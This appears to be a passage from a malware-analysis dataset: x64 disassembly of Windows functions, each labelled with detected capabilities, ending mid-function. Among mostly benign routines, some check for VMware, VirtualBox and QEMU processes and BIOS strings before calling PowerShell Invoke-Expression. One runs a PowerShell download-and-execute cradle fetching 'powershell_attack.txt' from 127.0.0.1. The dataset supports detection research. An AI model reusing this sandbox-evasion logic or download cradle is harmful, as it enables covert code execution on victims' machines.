joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140012d70
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x140111040]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rbx, qword [0x1401cf3c0]
mov edi, ecx
cmp byte [rbx + 0x4a7d], 0
jne 0x140012dd1
cmp byte [rbx + 0x4a7e], 0
jne 0x140012dd1
movsx r9d, word [rbx + 0x5b8a]
lea r8, str.Tooltip__02d
mov edx, 0x10
lea rcx, [rsp + 0x20]
call fcn.140003050
test dil, 1
je 0x140012eff
jmp 0x140012e5c
movss xmm1, dword [rbx + 0x38bc]
lea r8, str.Tooltip__02d
movsx r9d, word [rbx + 0x5b8a]
lea rcx, [rsp + 0x20]
movaps xmm0, xmm1
xor eax, eax
mulss xmm0, dword [0x140102624]
mov edx, 0x10
mulss xmm1, dword [0x14010260c]
addss xmm0, dword [rbx + 0xe08]
addss xmm1, dword [rbx + 0xe0c]
mov qword [rbx + 0x47e0], rax
mov dword [rbx + 0x47cc], 1
movss dword [rbx + 0x47d8], xmm0
movss dword [rbx + 0x47dc], xmm1
movss xmm0, dword [rbx + 0x3924]
mulss xmm0, dword [0x14010256c]
or dword [rbx + 0x47c8], 0x41
movss dword [rbx + 0x4828], xmm0
call fcn.140003050
movzx r9d, byte [rsp + 0x20]
lea r8, [rsp + 0x21]
mov r10d, 0xffffffff
mov ecx, r10d
test r9b, r9b
je 0x140012eb0
lea r11, [0x1400c3890]
nop dword [rax]
cmp r9b, 0x23
jne 0x140012e93
cmp byte [r8], r9b
jne 0x140012e93
cmp byte [r8 + 1], r9b
cmove ecx, r10d
movzx edx, cl
movzx eax, r9b
movzx r9d, byte [r8]
xor rdx, rax
shr ecx, 8
inc r8
xor ecx, dword [r11 + rdx*4]
test r9b, r9b
jne 0x140012e80
not ecx
call fcn.14000a450
test rax, rax
je 0x140012eff
cmp byte [rax + 0xb6], 0
je 0x140012eff
mov byte [rax + 0xbb], 1
lea r8, str.Tooltip__02d
mov byte [rax + 0xbd], 1
lea rcx, [rsp + 0x20]
mov byte [rax + 0xd8], 1
mov edx, 0x10
inc word [rbx + 0x5b8a]
movsx r9d, word [rbx + 0x5b8a]
call fcn.140003050
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x20c0347
call fcn.14000cb50
mov al, 1
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.1400a2b70
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
Function at 0x140017a20
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx + 0x5c70], 0
lea rbx, [rcx + 0x5c78]
mov rsi, r8
mov rbp, rdx
mov rdi, rcx
je 0x140017ac7
mov r9d, dword [rbx + 4]
mov qword [rsp + 0x30], r14
xor r14d, r14d
test r9d, r9d
jns 0x140017a7a
mov eax, r9d
mov rcx, rbx
cdq
sub eax, edx
mov edx, r14d
sar eax, 1
add eax, r9d
test eax, eax
cmovg edx, eax
call fcn.140019d40
mov r8, rsi
mov dword [rbx], r14d
mov rdx, rbp
mov rcx, rbx
call fcn.1400038f0
mov eax, dword [rbx]
mov edx, 1
mov r9, qword [rdi + 0x5c70]
test eax, eax
lea ecx, [rax - 1]
mov rax, qword [rdi + 0x5c80]
cmove ecx, r14d
test rax, rax
movsxd r8, ecx
lea rcx, [0x1401cf3b8]
cmovne rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r14, qword [rsp + 0x30]
jmp 0x140017acf
mov rcx, rbx
call fcn.1400038f0
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret

Function at 0x140017e60
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 8
movzx r9d, byte [rcx]
lea r8, [rcx + 1]
mov r10, qword [0x1401cf3c0]
mov r11d, 0xffffffff
mov eax, r11d
test r9b, r9b
je 0x140017ec3
mov qword [rsp], rbx
lea rbx, [0x1400c3890]
nop dword [rax]
cmp r9b, 0x23
jne 0x140017ea3
cmp byte [r8], r9b
jne 0x140017ea3
cmp byte [r8 + 1], r9b
cmove eax, r11d
movzx edx, al
movzx ecx, r9b
movzx r9d, byte [r8]
xor rdx, rcx
shr eax, 8
inc r8
xor eax, dword [rbx + rdx*4]
test r9b, r9b
jne 0x140017e90
mov rbx, qword [rsp]
movsxd rcx, dword [r10 + 0x5be8]
xor r8d, r8d
not eax
test ecx, ecx
jle 0x140017ef7
mov r10, qword [r10 + 0x5bf0]
mov r9, rcx
mov edx, r8d
lea rcx, [r10 + 8]
cmp dword [rcx], eax
je 0x140017efe
inc r8d
inc rdx
add rcx, 0x48
cmp rdx, r9
jl 0x140017ee4
xor eax, eax
add rsp, 8
ret
movsxd rax, r8d
lea rcx, [rax + rax*8]
lea rax, [r10 + rcx*8]
add rsp, 8
ret
Function at 0x140034ad0
Capabilities:
Execute command
Run powershell expression

Disassembly:
sub rsp, 0x28
lea rcx, str.powershell.exe_Invoke_Expression__wininit_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov dword [rax], 0x2a
add rsp, 0x28
ret
Function at 0x140034c90
Capabilities:
Enumerate processes
Execute command
Query or enumerate registry value
Run powershell expression
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x5f0]
sub rsp, 0x6f0
mov rax, qword [0x140111040]
xor rax, rsp
mov qword [rbp + 0x5e0], rax
lea rax, str.vmware.exe
xor edx, edx
mov qword [rbp + 0x1b0], rax
mov ecx, 2
lea rax, str.vmware_vmx.exe
mov qword [rbp + 0x1b8], rax
lea rax, str.vboxservice.exe
mov qword [rbp + 0x1c0], rax
lea rax, str.vboxtray.exe
mov qword [rbp + 0x1c8], rax
lea rax, str.qemu_ga.exe
mov qword [rbp + 0x1d0], rax
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140034ed0
lea rdx, [rsp + 0x70]
mov dword [rsp + 0x70], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140034de5
nop dword [rax]
lea rdx, [rbp - 0x64]
lea rcx, [rsp + 0x48]
call fcn.140034af0
lea rbx, [rbp + 0x1b0]
nop word [rax + rax]
cmp qword [rsp + 0x60], 0xf
lea rcx, [rsp + 0x48]
mov rdx, qword [rbx]
cmova rcx, qword [rsp + 0x48]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140034ebe
add rbx, 8
lea rax, [rbp + 0x1d8]
cmp rbx, rax
jne 0x140034d60
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x140034dcf
mov rcx, qword [rsp + 0x48]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140034dca
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140034eb7
call fcn.1400a32a4
lea rdx, [rsp + 0x70]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140034d40
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rsp + 0x40]
mov dword [rsp + 0x40], 0x400
mov qword [rsp + 0x30], rax
lea r8, str.SystemManufacturer
lea rax, [rbp + 0x1e0]
xor ebx, ebx
mov qword [rsp + 0x28], rax
lea rdx, str.HARDWAREDESCRIPTIONSystemBIOS
mov r9d, 2
mov qword [rsp + 0x20], rbx
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
test eax, eax
jne 0x140034ed0
lea rdx, str.VMware
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
jne 0x140034ea0
lea rdx, str.VirtualBox
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
jne 0x140034ea0
lea rdx, str.QEMU
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
jne 0x140034ea0
lea rdx, [0x140101bf4]
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
je 0x140034ed0
lea rcx, str.powershell.exe_Invoke_Expression__wininit_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov al, 1
mov dword [rbx], 0x2a
jmp 0x140034ed2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor al, al
mov rcx, qword [rbp + 0x5e0]
xor rcx, rsp
call fcn.1400a2b70
lea r11, [rsp + 0x6f0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
Function at 0x140035fc0
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rcx, qword [0x1401cfd48]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x140036024
nop
mov rcx, qword [0x1401cfd28]
test rcx, rcx
je 0x140035ffb
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x140036024
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x30], 1
call fcn.140038cd0
mov rcx, qword [0x1401cfd48]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x140035fe0
call fcn.140034ad0
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x14004af00
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push rbx
push rbp
push rdi
sub rsp, 0x50
mov rax, qword [rcx + 8]
mov ebp, r8d
mov ecx, 0x3e80000
mov rbx, qword [rax + 0x2f0]
mov rax, qword [rdx + 0x80]
movzx edx, word [rdx + 0x68]
movzx edi, word [rax + 0x18]
mov eax, 0x40000
shl edi, 0x10
cmp edi, eax
cmovl edi, eax
shl edx, 0x10
call fcn.140039b90
mov dword [rsp + 0x24], eax
mov ecx, eax
cmp eax, 0x28f
jge 0x14004af56
xor eax, eax
add rsp, 0x50
pop rdi
pop rbp
pop rbx
ret
mov eax, dword [rbx + 0x24]
mov qword [rsp + 0x80], rsi
mov esi, dword [rbx + 0x28]
mov qword [rsp + 0x48], r12
mov r12d, dword [rbx + 0x3c]
mov qword [rsp + 0x40], r13
mov r13d, dword [rbx + 0x38]
mov dword [rsp + 0x88], eax
mov eax, dword [rbx + 0x2c]
mov qword [rsp + 0x38], r14
mov r14d, dword [rbx + 0x40]
mov dword [rsp + 0x70], eax
mov eax, dword [rbx + 0x34]
mov qword [rsp + 0x30], r15
mov r15d, dword [rbx + 0x30]
mov dword [rsp + 0x78], eax
mov dword [rsp + 0x20], r12d
test ebp, ebp
jg 0x14004afad
mov ebp, 0x4b0000
jmp 0x14004afbb
shl ebp, 0x10
mov edx, ecx
mov ecx, ebp
call fcn.14003c170
mov ebp, eax
bsr ecx, ebp
bsr eax, edi
shl r12d, 0x10
add eax, ecx
cmp eax, 0x2e
jl 0x14004afd1
mov eax, r12d
jmp 0x14004afda
mov edx, edi
mov ecx, ebp
call fcn.14003c170
mov r9d, dword [rsp + 0x88]
mov ecx, r9d
shl ecx, 0x10
cmp eax, ecx
jge 0x14004aff6
shl esi, 0x10
mov ecx, esi
jmp 0x14004b0e5
mov r8d, dword [rsp + 0x70]
mov edx, r8d
shl edx, 0x10
mov dword [rsp + 0x88], edx
cmp eax, edx
jge 0x14004b054
mov ebx, r8d
mov edx, edi
sub ebx, r9d
call fcn.140039b90
mov ecx, ebp
sub ecx, eax
test ebx, ebx
je 0x14004b044
sub r15d, esi
mov r8d, ebx
mov edx, r15d
call fcn.14003c040
shl esi, 0x10
mov edx, edi
mov ecx, esi
mov ebx, eax
call fcn.140039b90
add ebx, eax
jmp 0x14004b0ee
mov esi, dword [rsp + 0x78]
mov ebx, esi
mov r8d, dword [rsp + 0x70]
shl ebx, 0x10
jmp 0x14004b061
mov esi, dword [rsp + 0x78]
mov ebx, esi
shl ebx, 0x10
cmp eax, ebx
jge 0x14004b0a0
mov ecx, dword [rsp + 0x88]
mov r12d, esi
mov edx, edi
sub r12d, r8d
call fcn.140039b90
mov ecx, ebp
sub ecx, eax
test r12d, r12d
je 0x14004b0a5
sub r13d, r15d
mov r8d, r12d
mov edx, r13d
call fcn.14003c040
shl r15d, 0x10
mov edx, edi
mov ecx, r15d
mov ebx, eax
call fcn.140039b90
add ebx, eax
jmp 0x14004b0ee
cmp eax, r12d
jge 0x14004b0de
mov r15d, dword [rsp + 0x20]
mov edx, edi
mov ecx, ebx
call fcn.140039b90
sub ebp, eax
sub r15d, esi
je 0x14004b0de
sub r14d, r13d
mov r8d, r15d
mov edx, r14d
mov ecx, ebp
call fcn.14003c040
shl r13d, 0x10
mov edx, edi
mov ecx, r13d
mov ebx, eax
call fcn.140039b90
add ebx, eax
jmp 0x14004b0ee
shl r14d, 0x10
mov ecx, r14d
mov edx, edi
call fcn.140039b90
mov ebx, eax
mov edx, dword [rsp + 0x24]
mov ecx, ebx
mov r15, qword [rsp + 0x30]
mov r14, qword [rsp + 0x38]
mov r13, qword [rsp + 0x40]
mov r12, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x80]
add rsp, 0x50
pop rdi
pop rbp
pop rbx
jmp fcn.140039b90
Function at 0x1400971a0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push r14
sub rsp, 0x250
mov rax, qword [0x140111040]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov eax, dword [rcx + 0x58]
lea rbx, [rsp + 0x30]
mov dword [rsp + 0x40], eax
mov ebp, r9d
mov eax, dword [rcx + 0x5c]
mov rsi, rcx
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x290]
mov dword [rsp + 0x34], eax
mov dword [rsp + 0x38], edx
mov dword [rsp + 0x3c], r8d
mov dword [rsp + 0x30], r9d
mov qword [rsp + 0x278], rdi
nop dword [rax]
mov r10d, dword [rbx + 0x14]
mov eax, r10d
mov r14d, dword [rbx + 4]
cmp r10d, r14d
mov r9d, dword [rbx + 0xc]
cmovg eax, r14d
cmp r9d, eax
jl 0x14009733c
cmp r10d, r14d
mov eax, r14d
cmovg eax, r10d
cmp r9d, eax
jg 0x14009733c
cmp r10d, r14d
jne 0x140097240
sub rbx, 0x10
jmp 0x140097384
mov edx, dword [rsi + 0x88]
xor r9d, r9d
cmp r10d, r14d
setge r9b
inc r9d
cmp edx, r9d
je 0x1400972b2
mov eax, dword [rsi + 4]
mov ecx, eax
mov r8d, dword [rsi + 8]
neg ecx
cmp r10d, r14d
jge 0x140097274
dec eax
add eax, r10d
and eax, ecx
sub eax, r10d
jmp 0x14009727c
and ecx, r10d
mov eax, r10d
sub eax, ecx
cmp eax, r8d
setge r11b
test edx, edx
je 0x14009729b
movzx edx, r11b
mov rcx, rsi
call fcn.140098350
test al, al
jne 0x140097395
movzx r8d, r11b
mov edx, r9d
mov rcx, rsi
call fcn.1400989c0
test al, al
jne 0x140097395
mov edx, dword [rsi + 0x64]
lea r9, [0x140098d20]
mov ecx, dword [rsi + 0x60]
mov r8, rbx
cmp r10d, r14d
jge 0x1400972de
mov dword [rsp + 0x28], edx
mov edx, 2
mov dword [rsp + 0x20], ecx
mov rcx, rsi
call fcn.140097020
jmp 0x140097332
mov eax, dword [rbx + 4]
neg ecx
movzx edi, byte [rsi + 0x6a]
neg eax
mov dword [rbx + 4], eax
neg edx
mov eax, dword [rbx + 0xc]
neg eax
mov dword [rsp + 0x28], ecx
mov dword [rbx + 0xc], eax
mov rcx, rsi
mov eax, dword [rbx + 0x14]
neg eax
mov dword [rsp + 0x20], edx
mov edx, 2
mov dword [rbx + 0x14], eax
call fcn.140097020
test dil, dil
je 0x14009732a
cmp byte [rsi + 0x6a], 0
jne 0x14009732a
mov rdx, qword [rsi + 0x70]
mov ecx, dword [rdx + 0x20]
neg ecx
mov dword [rdx + 0x20], ecx
mov ecx, dword [rbx + 4]
neg ecx
mov dword [rbx + 4], ecx
test al, al
jne 0x140097395
sub rbx, 0x10
jmp 0x140097384
mov eax, dword [rbx + 8]
mov ecx, dword [rbx + 0x10]
mov dword [rbx + 0x20], ecx
add ecx, eax
mov dword [rbx + 0x24], r10d
lea edx, [rax + rbp]
mov eax, ecx
sar eax, 1
mov dword [rbx + 0x18], eax
lea eax, [rcx + rdx]
sar eax, 2
lea ecx, [r10 + r9]
mov dword [rbx + 0x10], eax
mov eax, ecx
sar edx, 1
sar eax, 1
mov dword [rbx + 8], edx
lea edx, [r14 + r9]
mov dword [rbx + 0x1c], eax
lea eax, [rcx + rdx]
sar eax, 2
sar edx, 1
mov dword [rbx + 0x14], eax
mov dword [rbx + 0xc], edx
add rbx, 0x10
lea rax, [rsp + 0x30]
cmp rbx, rax
jb 0x140097399
mov ebp, dword [rbx]
jmp 0x140097200
mov al, 1
jmp 0x1400973a2
mov dword [rsi + 0x58], ebp
xor al, al
mov dword [rsi + 0x5c], r14d
mov rdi, qword [rsp + 0x278]
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.1400a2b70
mov rbx, qword [rsp + 0x280]
add rsp, 0x250
pop r14
pop rsi
pop rbp
ret
Function at 0x14009d6f0
Capabilities:
Get file size
Read file on windows
Read file via mapping

Disassembly:
push rbx
push rbp
sub rsp, 0x48
mov rbp, rdx
mov rbx, rcx
test rcx, rcx
jne 0x14009d70c
lea eax, [rcx + 0x28]
add rsp, 0x48
pop rbp
pop rbx
ret
mov qword [rsp + 0x68], rsi
xor r9d, r9d
mov qword [rsp + 0x40], r14
mov edx, 0x80000000
xor r14d, r14d
mov rcx, rbp
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
lea r8d, [r14 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x14009d760
mov r14, qword [rsp + 0x40]
lea eax, [rsi + 2]
mov rsi, qword [rsp + 0x68]
add rsp, 0x48
pop rbp
pop rbx
ret
lea rdx, [rsp + 0x70]
mov qword [rsp + 0x78], rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14009d885
mov rax, qword [rsp + 0x70]
cmp rax, 0x7fffffff
jg 0x14009d885
test rax, rax
je 0x14009d885
xor r9d, r9d
mov qword [rsp + 0x28], r14
xor edx, edx
mov dword [rsp + 0x20], r14d
mov rcx, rsi
lea r8d, [r9 + 2]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov rdi, rax
test rax, rax
je 0x14009d885
mov ecx, dword [rsp + 0x70]
xor r9d, r9d
mov dword [rbx + 8], ecx
xor r8d, r8d
mov rcx, rax
mov dword [rbx + 0xc], r14d
mov qword [rsp + 0x20], r14
lea edx, [r9 + 4]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rcx, rdi
mov qword [rbx], rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rbx], r14
je 0x14009d7fa
lea rax, [0x14009d8e0]
jmp 0x14009d853
mov rcx, qword [rbx + 0x30]
xor edx, edx
movsxd r8, dword [rbx + 8]
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbx], rax
test rax, rax
je 0x14009d885
mov edi, r14d
nop dword [rax + rax]
mov r8d, dword [rbx + 8]
lea r9, [rsp + 0x60]
mov edx, edi
sub r8d, edi
add rdx, qword [rbx]
mov rcx, rsi
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14009d873
add edi, dword [rsp + 0x60]
cmp edi, dword [rbx + 8]
jne 0x14009d820
lea rax, [0x14009d8b0]
mov rcx, rsi
mov qword [rbx + 0x28], rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rbx]
mov qword [rbx + 0x10], rax
xor eax, eax
mov qword [rbx + 0x18], rbp
mov qword [rbx + 0x20], r14
jmp 0x14009d89a
mov rcx, qword [rbx + 0x30]
xor edx, edx
mov r8, qword [rbx]
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0x51
mov qword [rbx], r14
mov qword [rbx + 8], r14
mov rdi, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x68]
mov r14, qword [rsp + 0x40]
add rsp, 0x48
pop rbp
pop rbx
ret
Function at 0x14009ee70
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov r9, rdx
test rdx, rdx
jne 0x14009ee7b
xor eax, eax
ret
lea r11, [0x1400c1f10]
not ecx
cmp r8d, 8
jb 0x14009ef51
mov r10d, r8d
shr r10, 3
nop word [rax + rax]
movzx edx, byte [r9]
mov eax, ecx
xor rdx, rax
shr ecx, 8
movzx eax, dl
add r8d, 0xfffffff8
movzx edx, byte [r9 + 1]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 2]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 3]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 4]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 5]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 6]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 7]
add r9, 8
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
xor ecx, dword [r11 + rax*4]
sub r10, 1
jne 0x14009eea0
test r8d, r8d
je 0x14009ef7d
nop word [rax + rax]
movzx edx, byte [r9]
lea r9, [r9 + 1]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
xor ecx, dword [r11 + rax*4]
add r8d, 0xffffffff
jne 0x14009ef60
not ecx
mov eax, ecx
ret
Function at 0x1400a3b3c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400a3b86
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400a3b86
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400a3b86
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400a3b86
cmp dword [rcx + 0x84], 0xe
jbe 0x1400a3b86
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400a3b88
xor al, al
add rsp, 0x28
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140004460]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140004470]
mov dword [rax], 1
mov rax, qword [0x140004480]
mov dword [rax], 1
mov rax, qword [0x1400043e0]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140004450]
mov dword [0x14000700c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x140004520]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x140004500]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x1400043c0]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x140001450
Capabilities:
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
call dbg.__main
lea rax, str.powershell.exe__IEX___new_object_net.webclient_.downloadstring_http:__127.0.0.1_powershell_attack.txt____
mov rcx, rax
call sym.system
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x140001740
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x14011f760
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r14
push r15
mov r15, rdx
lea r14, [rdx - 1]
mov rdi, rcx
xor r12d, r12d
nop word [rax + rax]
mov rsi, r12
mov rbp, r12
test r14, r14
je 0x14011f976
mov rdx, qword [rdi + 8]
nop dword [rax]
nop word [rax + rax]
lea ecx, [rdx + 0xff]
shl rsi, cl
add rsi, rsi
nop dword [rax]
mov r10, qword [rdi]
mov ecx, dword [r10]
cmp ecx, 0x270
jne 0x14011f824
lea rax, [r10 + 8]
mov r9d, ecx
nop word [rax + rax]
mov r8d, dword [rax - 4]
xor r8d, dword [rax]
lea rax, [rax + 4]
btr r8d, 0x1f
xor r8d, dword [rax - 8]
mov ecx, r8d
and cl, 1
neg cl
sbb edx, edx
shr r8d, 1
and edx, 0x9908b0df
xor edx, dword [rax + 0x62c]
xor edx, r8d
mov dword [rax + 0x9b8], edx
sub r9, 1
jne 0x14011f7e0
mov ecx, dword [r10]
jmp 0x14011f907
cmp ecx, 0x4e0
jb 0x14011f907
lea r11, [r10 + 0x9c4]
mov ebx, 0xe3
mov eax, dword [r11]
nop
mov edx, eax
lea r8, [r11 + 4]
xor edx, dword [r8]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
mov eax, dword [r8]
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, edx
xor ecx, dword [r11 + 0x634]
mov dword [r11 - 0x9c0], ecx
lea r11, [r8]
sub rbx, 1
jne 0x14011f840
lea r11, [r10 + 0xd50]
mov ebx, 0x18c
mov eax, dword [r11]
nop word [rax + rax]
mov edx, eax
lea r8, [r11 + 4]
xor edx, dword [r8]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
mov eax, dword [r8]
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r11 - 0xd4c]
xor ecx, edx
mov dword [r11 - 0x9c0], ecx
lea r11, [r8]
sub rbx, 1
jne 0x14011f890
mov edx, dword [r10 + 0x1380]
xor edx, dword [r10 + 4]
btr edx, 0x1f
xor edx, dword [r10 + 0x1380]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0x634]
xor ecx, edx
mov dword [r10 + 0x9c0], ecx
mov ecx, r12d
mov dword [r10], r12d
mov eax, ecx
mov edx, dword [r10 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r10], eax
mov ecx, edx
mov eax, dword [r10 + 0x1384]
mov r8, qword [rdi + 0x10]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and edx, 0xffffdf8c
shl edx, 0xf
mov ecx, edx
xor rcx, rax
mov rax, rcx
shr rax, 0x12
xor rax, rcx
cmp rax, r8
ja 0x14011f7c0
mov rdx, qword [rdi + 8]
or rsi, rax
lea ecx, [rdx + 0xff]
shl rbp, cl
add rbp, rbp
or rbp, r8
cmp rbp, r14
jb 0x14011f7b0
xor edx, edx
mov rax, rbp
div r15
mov rcx, rax
mov r8, rdx
xor edx, edx
mov rax, rsi
div r15
cmp rax, rcx
